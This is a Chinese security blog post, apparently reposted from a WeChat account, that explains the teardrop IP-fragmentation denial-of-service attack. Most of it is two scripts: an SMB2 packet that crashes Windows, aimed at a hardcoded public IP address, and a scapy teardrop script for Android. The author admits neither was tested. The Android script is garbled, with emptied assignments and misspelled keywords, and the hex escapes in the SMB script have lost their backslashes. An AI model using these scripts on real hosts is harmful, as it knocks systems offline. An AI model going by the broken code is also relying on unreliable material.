拒绝服务——teardrop
前言
本节学习teardrop 很古老 利用IP分段偏移
1、简介
teardrop
主要针对早期微软操作系统(95、98、3.x、nt)近些年有人发现对 2.x 版本的安卓系统、6.0 IOS 系统攻击有效原理:使用 IP 分段偏移实现分段覆盖,接收端处理分段覆盖时可被拒绝服务攻击效果:被攻击者蓝屏、重启、卡死
IP包如图所示
-
泪滴攻击是一种拒绝服务(DoS)攻击,涉及将碎片数据包发送到目标机器。由于接收这些数据包的机器由于TCP / IP碎片重组错误而无法重新组装,因此数据包相互重叠,导致目标网络设备崩溃。这通常发生在较早的操作系统上,例如Windows 3.1x,Windows 95,Windows NT和2.1.63之前版本的Linux内核。
-
IP报头中的一个字段是“片段偏移量”字段,指示包含在分段数据包中的数据相对于原始数据包中的数据的起始位置或偏移量。如果一个分片数据包的偏移量和大小之和不同于下一个分片数据包的偏移量和大小之和,则数据包重叠。发生这种情况时,易受泪滴攻击的服务器无法重新组装数据包 - 从而导致拒绝服务状况。
-
可以抓包进行分析理解
2、对windows脚本teardrop_smb.py
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process ID High"
# SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA
import sys
from socket import socket
from time import sleep
#host = sys.argv[1], 445
#host = "192.168.33.13", 445
host = "217.113.205.53", 445
buff = (
"x00x00x00x90" # Begin SMB header: Session message
"xffx53x4dx42" # Server Component: SMB
"x72x00x00x00" # Negociate Protocol
"x00x18x53xc8" # Operation 0x18 & sub 0xc853
"x00x26"# Process ID High: --> :) normal value should be "x00x00"
"x00x00x00x00x00x00x00x00x00x00xffxffxffxfe"
"x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54"
"x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31"
"x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00"
"x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57"
"x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61"
"x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c"
"x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c"
"x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e"
"x30x30x32x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
3、对android脚本teardrop_android.py
#!/user/bin/env python
import sys
from scapy.all import *
total = len(sys.argv)
if total !=3:
print "Performs teardrop attack from Kali linux"
print " "
print "Usage: ./tear TARCET-IP ATTACK-CODE"
print " Attacl Codes:"
print " 0: small payload (36 bytes), 2 packets, offset=3x8 bytes"
print " 1: large payload (1300 bytes), 2 packets, offset=80x8 bytes"
print " 2: large payload (1300 bytes), 12 packsts, offset=08x8"
print " 3: large payload (1300 bytes), 2 packets, offset=3x8 bytes"
print " 4: large payload (1300 bytes), 2 packets, offset=10x8 bytes"
target =str(sys.argv[1])
attack=sys.argv[2]
print 'Attacking target' + target + 'with attack' + accack
if attack == '0':
print 'Using attack 0"
size=36
offset=3
load1="x00"*size
i=IP()
target =
"MF" =
17 =
size=4
offset=18
load2="x00"*size
j=IP()
target =
0 =
17 =
offset =
send(i/load1)
send(j/load2)
elif attack == '1':
print "Using attack 1"
size=1300
offset=80
load="A"*size
i=IP()
target =
"MF" =
17 =
size=4
offset=18
load2="x00"*size
j=IP()
target =
0 =
17 =
offset =
send(i/load1)
send(j/load2)
elif attack == '2':
print "Using attack 2"
print "Attacking wiht attack 2"
size=1300
offset=80
load="A"*size
i=IP()
target =
17 =
"MF" =
0 =
send(i/load)
print "Attack 2 packet 0"
for x in range(1, 10):
offset =
offset=offset+80
send(i/load)
print "Attack 2 packet " + str(x)
offset =
0 =
send(i/load)
elif attack == '3':
print "Using attack 2"
size=1336
offset=3
load="A"*size
i=IP()
target =
"MF" =
17 =
size=4
offset=18
load2="x00"*size
j=IP()
target =
0 =
17 =
offset =
send(i/load1)
send(j/load2)
else: # attack==4
print "Using attack 4"
size=1300
load="A"*size
i=IP()
target =
"MF" =
17 =
j=IP()
target =
0 =
17 =
offset =
send(i/load1)
send(j/load2)
prubt "Done!"
结语
上面两个脚本笔者都没有试过 找不到合适的靶机 就看看理解理解
了解下是怎么通过IP分段偏移进行攻击的
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。其核心团队于2022年转型于信息安全研究院,并为政企提供安全服务与技术支持。
© Honker Security Commando
原文始发于微信公众号(中龙 红客突击队):拒绝服务——teardrop
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论